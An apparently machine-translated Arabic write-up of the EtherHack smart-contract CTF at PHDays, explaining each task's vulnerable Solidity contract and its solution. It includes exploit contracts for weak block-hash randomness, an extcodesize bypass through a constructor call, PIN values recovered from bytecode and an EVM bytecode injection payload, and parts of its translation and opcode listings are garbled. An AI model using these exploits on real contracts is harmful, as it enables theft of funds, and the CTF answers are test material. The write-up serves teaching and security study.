
استضافت PHDays هذا العام مسابقة تسمى
EtherHack لأول مرة. بحث المشاركون عن نقاط الضعف في العقود الذكية للسرعة. في هذه المقالة سنخبرك عن مهام المسابقة والطرق الممكنة لحلها.
Azino 777
اربح اليانصيب وكسر القدر!
كانت المهام الثلاث الأولى مرتبطة بأخطاء في إنشاء أرقام
عشوائية زائفة ، والتي تحدثنا عنها مؤخرًا:
توقع الأرقام العشوائية في العقود الذكية لـ Ethereum . استندت المهمة الأولى إلى مولد رقم عشوائي (PRNG) ، والذي استخدم تجزئة الكتلة الأخيرة كمصدر للانتروبيا لتوليد أرقام عشوائية:
pragma solidity ^0.4.16; contract Azino777 { function spin(uint256 bet) public payable { require(msg.value >= 0.01 ether); uint256 num = rand(100); if(num == bet) { msg.sender.transfer(this.balance); } }
نظرًا لأن نتيجة استدعاء وظيفة
block.blockhash(block.number-1)
ستكون هي نفسها لأي معاملة داخل الكتلة نفسها ، يمكن أن يستخدم الهجوم عقد استغلال مع نفس وظيفة
rand()
لاستدعاء العقد الهدف من خلال رسالة داخلية:
function WeakRandomAttack(address _target) public payable { target = Azino777(_target); } function attack() public { uint256 num = rand(100); target.spin.value(0.01 ether)(num); }
ريان خاص
لقد أضفنا قيمة أولية خاصة لن يحسبها أحد على الإطلاق.
هذه المهمة هي نسخة معقدة قليلاً من سابقتها. يستخدم متغير البذور ، الذي يعتبر خاصًا ، لتعويض العدد الترتيبي للكتلة (block.number) بحيث لا يعتمد تجزئة الكتلة على الكتلة السابقة. بعد كل رهان ، تتم إعادة كتابة البذور إلى تعويض "عشوائي" جديد. على سبيل المثال ، في يانصيب
Slotthereum كان الأمر كذلك.
contract PrivateRyan { uint private seed = 1; function PrivateRyan() { seed = rand(256); } function spin(uint256 bet) public payable { require(msg.value >= 0.01 ether); uint256 num = rand(100); seed = rand(256); if(num == bet) { msg.sender.transfer(this.balance); } } }
كما هو الحال في المهمة السابقة ، كان المخترق بحاجة فقط إلى نسخ وظيفة
rand()
في استغلال العقد ، ولكن في هذه الحالة يجب الحصول على قيمة بذرة المتغير الخاص خارج blockchain ثم إرسالها إلى إكسبلويت كحجة. للقيام بذلك ، يمكنك استخدام طريقة
web3.eth.getStorageAt () من مكتبة web3:
قراءة متجر العقد خارج سلسلة الكتل للحصول على القيمة الأوليةبعد استلام القيمة الأولية ، يبقى فقط لإرسالها إلى برمجية إكسبلويت ، والتي تكون مطابقة تقريبًا لتلك الموجودة في المهمة الأولى:
contract PrivateRyanAttack { PrivateRyan target; uint private seed; function PrivateRyanAttack(address _target, uint _seed) public payable { target = PrivateRyan(_target); seed = _seed; } function attack() public { uint256 num = rand(100); target.spin.value(0.01 ether)(num); } }
عجلة الحظ
يستخدم هذا اليانصيب تجزئة الكتلة اللاحقة. حاول حسابه!
في هذه المهمة ، كان من الضروري معرفة تجزئة الكتلة التي تم تخزين رقمها في هيكل اللعبة بعد وضع الرهان. ثم تم استخلاص هذا التجزئة لتوليد رقم عشوائي بعد إجراء الرهان التالي.
Pragma solidity ^0.4.16; contract WheelOfFortune { Game[] public games; struct Game { address player; uint id; uint bet; uint blockNumber; } function spin(uint256 _bet) public payable { require(msg.value >= 0.01 ether); uint gameId = games.length; games.length++; games[gameId].id = gameId; games[gameId].player = msg.sender; games[gameId].bet = _bet; games[gameId].blockNumber = block.number; if (gameId > 0) { uint lastGameId = gameId - 1; uint num = rand(block.blockhash(games[lastGameId].blockNumber), 100); if(num == games[lastGameId].bet) { games[lastGameId].player.transfer(this.balance); } } } function rand(bytes32 hash, uint max) pure private returns (uint256 result){ return uint256(keccak256(hash)) % max; } function() public payable {} }
في هذه الحالة ، هناك حلان ممكنان.
- قم باستدعاء العقد المستهدف مرتين من خلال عقد الاستغلال. ستكون نتيجة استدعاء دالة block.blockhash (block.number) صفرًا دائمًا.
- انتظر 256 قطعة حتى تنزلق وقم برهان ثان. ستكون تجزئة رقم تسلسل الكتلة المخزنة صفرًا بسبب قيود Ethereum Virtual Machine (EVM) على عدد تجزئات الكتلة المتاحة.
في كلتا الحالتين ، سيكون الرهان الفائز هو
uint256(keccak256(bytes32(0))) % 100
أو "47".
اتصل بي ربما
لا يحب هذا العقد عندما تطلق عليه عقود أخرى.
إحدى الطرق لحماية العقد من أن يتم استدعاؤه بواسطة عقود أخرى هي استخدام تعليمات المجمّع EVM
extcodesize
، والتي ترجع حجم العقد في عنوانه. الطريقة هي استخدام هذه التعليمات لعنوان مرسل المعاملة باستخدام إدراج المجمّع. إذا كانت النتيجة أكبر من الصفر ، فإن مرسل المعاملة هو عقد ، لأن العناوين العادية في Ethereum لا تحتوي على رمز. كان هذا النهج بالتحديد هو الذي تم استخدامه في هذه المهمة لمنع العقود الأخرى من استدعاء العقد.
contract CallMeMaybe { modifier CallMeMaybe() { uint32 size; address _addr = msg.sender; assembly { size := extcodesize(_addr) } if (size > 0) { revert(); } _; } function HereIsMyNumber() CallMeMaybe { if(tx.origin == msg.sender) { revert(); } else { msg.sender.transfer(this.balance); } } function() payable {} }
tx.origin
المعاملة
tx.origin
إلى المنشئ الأصلي للمعاملة ، و msg.sender إلى المتصل الأخير. إذا أرسلنا المعاملة من العنوان المعتاد ، فستكون هذه المتغيرات متساوية ، وسينتهي بنا الأمر إلى
revert()
. لذلك ، لحل مشكلتنا ، كان من الضروري تجاوز التحقق من التعليمات
extcodesize
بحيث
tx.origin
و
msg.sender
. لحسن الحظ ، هناك ميزة لطيفة واحدة في EVM يمكنها المساعدة في ذلك:

في الواقع ، عندما يستدعي العقد الذي تم وضعه للتو عقدًا آخر في المنشئ ، فإنه في حد ذاته غير موجود في blockchain بعد ، فهو يعمل حصريًا كمحفظة. وبالتالي ، فإن الرمز غير مرتبط بالعقد الجديد وسيعود الحجم الخارجي صفرًا:
contract CallMeMaybeAttack { function CallMeMaybeAttack(CallMeMaybe _target) payable { _target.HereIsMyNumber(); } function() payable {} }
القفل
من الغريب أن القلعة مغلقة. حاول التقاط رمز PIN عبر وظيفة إلغاء القفل (bytes4 pincode). ستكلفك كل محاولة لفتح القفل 0.5 أثير.
في هذه المهمة ، لم يتم إعطاء المشاركين رمزًا - كان عليهم استعادة منطق العقد بواسطة رمزه الثانوي. كان أحد الخيارات هو استخدام Radare2 ، وهي منصة تستخدم
لتفكيك وتصحيح أخطاء EVM .
للبدء ، سننشر مثالًا على المهمة الدراسية وأدخل الرمز عشوائيًا:
await contract.unlock("1337", {value: 500000000000000000}) →false
المحاولة ، بالطبع ، جيدة ، لكنها باءت بالفشل. حاول الآن تصحيح هذه المعاملة.
r2 -a evm -D evm "evm://localhost:8545@0xf7dd5ca9d18091d17950b5ecad5997eacae0a7b9cff45fba46c4d302cf6c17b7"
في هذه الحالة ، نطلب من Radare2 استخدام بنية evm. تتصل هذه الأداة بعد ذلك بعقدة Ethereum وتسترد أثر هذه المعاملة في الجهاز الظاهري. والآن ، أخيرًا ، نحن مستعدون للغوص في رمز EVM الثانوي.
بادئ ذي بدء ، تحتاج إلى إجراء تحليل:
[0x00000000]> aa [x] Analyze all flags starting with sym. and entry0 (aa)
بعد ذلك ، نقوم بتفكيك أول 1000 تعليمات (يجب أن يكون هذا كافياً لتغطية العقد بأكمله) باستخدام الأمر pd 1000 ، وننتقل إلى عرض الرسم البياني باستخدام الأمر VV.
في كود EVM بايت
solc
مع
solc
، عادة ما يأتي مدير الوظائف أولاً. بناءً على البايتات الأربعة الأولى لبيانات المكالمة التي تحتوي على توقيع الوظيفة ، والتي يتم تعريفها على أنها
bytes4(sha3(function_name(params)))
، يقرر مدير الوظيفة الوظيفة التي سيتم استدعاؤها. نحن مهتمون بوظيفة
unlock(bytes4)
، والتي تتوافق مع
0x75a4e3a0
.
بعد تدفق التنفيذ باستخدام مفتاح s ، نصل إلى العقدة التي تقارن
callvalue
0x6f05b59d3b20000
بالقيمة
0x6f05b59d3b20000
أو
500000000000000000
، وهو ما يعادل 0.5 الأثير:
push8 0x6f05b59d3b20000 callvalue lt
إذا كان الأثير المقدم كافيًا ، فإننا نجد أنفسنا في عقدة تشبه بنية التحكم:
push1 0x4 dup4 push1 0xff and lt iszero push2 0x1a4 jumpi
يضع الرمز القيمة 0x4 في أعلى المكدس ، ويتحقق من الحد الأعلى (يجب ألا تتجاوز القيمة 0xff) ويقارن lt مع بعض القيمة التي تم تكرارها من العنصر الرابع من المكدس (dup4).
بالتمرير إلى الجزء السفلي من الرسم البياني ، نرى أن هذا العنصر الرابع هو في الأساس مكرر ، وبنية التحكم هذه هي حلقة تتوافق مع
for(var i=0; i<4; i++):
push1 0x1 add swap4
إذا أخذنا بعين الاعتبار نص الحلقة ، يصبح من الواضح أنها تعداد أربعة بايتات واردة وتقوم ببعض العمليات مع كل بايت. أولاً ، تتحقق الحلقة من أن البايت n أكبر من 0x30:
push1 0x30 dup3 lt iszero
وكذلك أن هذه القيمة أقل من 0x39:
push1 0x39 dup3 gt iszero
وهو في الأساس عبارة عن تحقق من أن البايت المحدد في النطاق من 0 إلى 9. إذا نجح الفحص ، فإننا نجد أنفسنا في أهم كتلة من التعليمات البرمجية:

لنكسر هذه الكتلة إلى أجزاء:
1. العنصر الثالث في المكدس هو كود ASCII للبايت التاسع من كود PIN. يتم دفع 0x30 (رمز ASCII للصفر) إلى المكدس ثم طرحه من كود هذا البايت:
push1 0x30 dup3 sub
أي أن الرقم
pincode[i] - 48
، ونحصل بشكل أساسي على رقم من رمز ASCII ، فلنطلق عليه د.
2. يضاف 0x4 إلى المكدس ويستخدم كأسي للعنصر الثاني في المكدس ، د:
swap1 pop push1 0x4 dup2 exp
أي
d ** 4
.
3. يتم استرداد العنصر الخامس من المكدس وإضافة نتيجة الأسي إليها. اتصل بهذا المبلغ S:
dup5 add swap4 pop dup1
أي
S += d ** 4
.
4. يتم دفع 0xa (رمز ASCII لـ 10) إلى المكدس ويستخدم كمضاعف للعنصر السابع من المكدس (الذي كان السادس قبل هذه الإضافة). نحن لا نعرف ما هو ، لذلك سوف نسمي هذا العنصر U. ثم يضاف d إلى نتيجة الضرب:
push1 0xa dup7 mul add swap5 pop
هذا هو:
U = U * 10 + d
أو ، ببساطة أكبر ، يستعيد هذا التعبير رمز PIN بالكامل كرقم من وحدات البايت الفردية
([0x1, 0x3, 0x3, 0x7] → 1337)
.
أصعب شيء فعلناه ، الآن دعنا ننتقل إلى الكود بعد الحلقة.
dup5 dup5 eq
إذا كان العنصران الخامس والسادس على المكدس متساويين ، فسوف يقودنا تدفق التنفيذ إلى تعليمات sstore ، التي تحدد علامة معينة في مخزن العقد. نظرًا لأن هذه هي تعليمات sstore الوحيدة ، فهذا هو ما كنا نبحث عنه على ما يبدو.
ولكن كيف يمكن اجتياز هذا الاختبار؟ كما اكتشفنا بالفعل ، فإن العنصر الخامس على المكدس هو S ، والسادس هو U. نظرًا لأن S هو مجموع جميع أرقام رمز PIN المرفوعة إلى القوة الرابعة ، فنحن بحاجة إلى رمز PIN سيتم استيفاء هذا الشرط. في حالتنا ، أظهر التحليل أن
1**4 + 3**4 + 3**4 + 7**4
لا يساوي 1337 ، ولم نحصل على تعليمات
sstore
الفائزة.
لكن الآن يمكننا حساب عدد يستوفي شروط هذه المعادلة. لا يوجد سوى ثلاثة أرقام يمكن كتابتها كمجموع أرقام الدرجة الرابعة: 1634 و 8208 و 9474. يمكن لأي منهم فتح القفل!
سفينة القراصنة
يا Salag! سفينة القراصنة الراسية في الميناء. اجعله يسقط المرساة ويرفع العلم مع جولي روجر ويذهب بحثًا عن الكنوز.
يتضمن المسار القياسي لتنفيذ العقد ثلاثة إجراءات:
- استدعاء
dropAnchor()
برقم كتلة يجب أن يكون أكبر من 100،000 كتلة أكبر من الرقم الحالي. تقوم الوظيفة بشكل ديناميكي بإنشاء عقد ، وهو عبارة عن "نقطة ارتساء" ، والتي يمكن "رفعها" باستخدام selfdestruct()
بعد الكتلة المحددة. - استدعاء
pullAnchor()
، والتي تبدأ selfdestruct()
إذا مر وقت كاف (الكثير من الوقت!). - استدعاء sailAway () ، الذي يضبط
blackJackIsHauled
على true إذا لم يكن هناك عقد ربط.
pragma solidity ^0.4.19; contract PirateShip { address public anchor = 0x0; bool public blackJackIsHauled = false; function sailAway() public { require(anchor != 0x0); address a = anchor; uint size = 0; assembly { size := extcodesize(a) } if(size > 0) { revert();
الثغرة واضحة تمامًا: لدينا الحقن المباشر لتعليمات المجمّع عند إنشاء عقد في وظيفة
dropAnchor()
. لكن الصعوبة الرئيسية كانت إنشاء حمولة من شأنها أن تسمح لنا بتمرير
block.number
.
في EVM ، يمكنك إنشاء عقود باستخدام عبارة إنشاء. وسيطاتها هي القيمة وإزاحة المدخلات وحجم الإدخال. القيمة هي رمز ثانوي يستضيف العقد نفسه (تهيئة الرمز). في حالتنا ، يتم وضع رمز التهيئة + رمز العقد في uint256 (بفضل فريق
GasToken للفكرة):
0x6a63004141414310585733ff600052600b6015f3
حيث تكون وحدات البايت الغامقة هي رمز العقد المستضاف ، و 414141 هو موقع الحقن. نظرًا لأننا نواجه مهمة التخلص من عامل الرمي ، فإننا بحاجة إلى إدراج عقدنا الجديد وإعادة كتابة الجزء اللاحق من كود التهيئة. دعنا نحاول حقن العقد بتعليمات 0xff ، والتي ستؤدي إلى الإزالة غير المشروطة لعقد الارتساء باستخدام
selfdestruct()
:
68 414141ff3f3f3f3f3f ؛؛ عقد push9
60 00 ؛؛ ادفع 1 0
52 ؛؛ مستور
60 09 ؛؛ الضغط 1 9
60 17 ؛؛ الضغط 1 17
f3 ؛؛ العودة
إذا قمنا بتحويل هذا التسلسل من وحدات البايت إلى
uint256 (9081882833248973872855737642440582850680819)
كوسيطة
dropAnchor()
، نحصل على القيمة التالية لمتغير الكود (رمز البايت
uint256 (9081882833248973872855737642440582850680819)
):
0x630068414141ff3f3f3f3f3f60005260096017f34310585733ff
بعد أن يصبح متغير الكود جزءًا من متغير كود التهيئة ، نحصل على القيمة التالية:
0x68414141ff3f3f3f3f3f60005260096017f34310585733ff600052600b6015f3
0x6300
الآن البايتات العالية
0x6300
، ويتم التخلص من
0xf3 (return)
بعد
0xf3 (return)
.

ونتيجة لذلك ، يتم إنشاء عقد جديد مع المنطق المتغير:
41 ؛؛ قاعدة العملة
41 ؛؛ قاعدة العملة
41 ؛؛ قاعدة العملة
وما يليها ؛؛ التدمير الذاتي
3 و ؛؛ غير المرغوب فيه
3 و ؛؛ غير المرغوب فيه
3 و ؛؛ غير المرغوب فيه
3 و ؛؛ غير المرغوب فيه
3 و ؛؛ غير المرغوب فيه
إذا استدعينا الآن وظيفة pullAnchor () ، فسيتم إتلاف هذا العقد على الفور ، حيث لم يعد لدينا شيك على block.number. بعد ذلك نسمي وظيفة sailAway () ونحتفل بالنصر!
النتائج
- المركز الأول والبث بمبلغ يعادل 1000 دولار أمريكي: أليكسي بيرتسيف (p4lex)
- المركز الثاني و Ledger Nano S: Alexey Markov
- المركز الثالث وتذكارات يومية: ألكسندر فلاسوف
جميع النتائج:
etherhack.positive.com/#/scoreboard
مبروك للفائزين وشكرا لجميع المشاركين!
ملاحظة: بفضل
Zeppelin لجعل الكود
المصدري لمنصة
Ethernaut CTF مفتوحة المصدر.